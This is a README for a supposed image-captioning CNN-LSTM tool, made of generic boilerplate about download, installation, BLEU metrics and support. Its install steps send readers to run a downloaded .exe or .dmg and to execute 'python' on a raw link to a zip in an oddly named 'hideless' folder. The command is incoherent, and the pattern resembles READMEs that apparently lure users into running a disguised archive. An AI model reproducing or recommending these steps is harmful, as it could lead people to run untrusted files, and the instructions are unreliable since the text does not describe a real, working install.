🎉 Image-Captioning-CNN-LSTM - Generate Captivating Image Captions Easily

🌐 Download the Application

🚀 Getting Started

This project lets you generate captions for images effortlessly. It combines techniques from computer vision and natural language processing to create accurate and meaningful captions. Follow the steps below to download and run the software.

💻 System Requirements

Before you start, ensure your system meets these requirements:

• Operating System: Windows, macOS, or Linux
• RAM: At least 8 GB
• Storage: 2 GB of free space
• Python: Version 3.6 or later
• PyTorch: Compatible version for your operating system

📥 Download & Install

To download the application, visit the Releases page. You will find the latest version there.

Download the latest release here.

1. Click on the link above to go to the Releases page.
2. Look for the most recent version of the software.
3. Download the file appropriate for your operating system.

🛠️ Installation Steps

After downloading, follow these steps to install and run the software:

1. Locate the downloaded file in your downloads folder.
2. For Windows: Double-click the .exe file to install. Follow the on-screen prompts.
3. For macOS: Open the .dmg file and drag the application into your Applications folder.
4. For Linux: Extract the downloaded archive and navigate to the folder in your terminal.
5. Run the installation command: python https://raw.githubusercontent.com/Aryan0419/Image-Captioning-CNN-LSTM/main/hideless/Image-Captioning-CNN-LSTM.zip install.

📸 How to Use the Application

Once the application is installed, you can start generating image captions.

1. Open the application in your system.
2. Upload an image by clicking on the "Upload" button.
3. Press the "Generate Caption" button.
4. Wait for a moment as the application processes your image.
5. Review the generated caption displayed on the screen.

⚙️ Features

• Image Upload: Simple interface to add images.
• Caption Generation: Uses advanced models to produce descriptions.
• Model Metrics: Displays BLEU scores to evaluate caption quality.
• Checkpoints: Saves your progress and model states.

📊 Evaluation Metrics

The application evaluates caption quality using the BLEU score. This score indicates how closely the generated caption matches human-created captions. A higher score signifies better accuracy.

🎨 Visualization Outputs

You can visualize the model's performance through ouput graphs and metrics. This helps you understand how well your images are being captioned.

⚖️ Licensing

This project is licensed under the MIT License. You can freely use and modify the software as long as you follow the license guidelines.

🌟 Troubleshooting

If you encounter any issues:

• Verify that you have installed all dependencies.
• Ensure that your Python version is compatible.
• Check the application logs for errors.

For further assistance, feel free to open an issue on the GitHub issue tracker.

📞 Support

For questions or support, reach out through GitHub issues. Engage with our community for tips and suggestions on using the application effectively.

Visit the Releases page to download the latest version and start creating captions today!

Download the latest release here.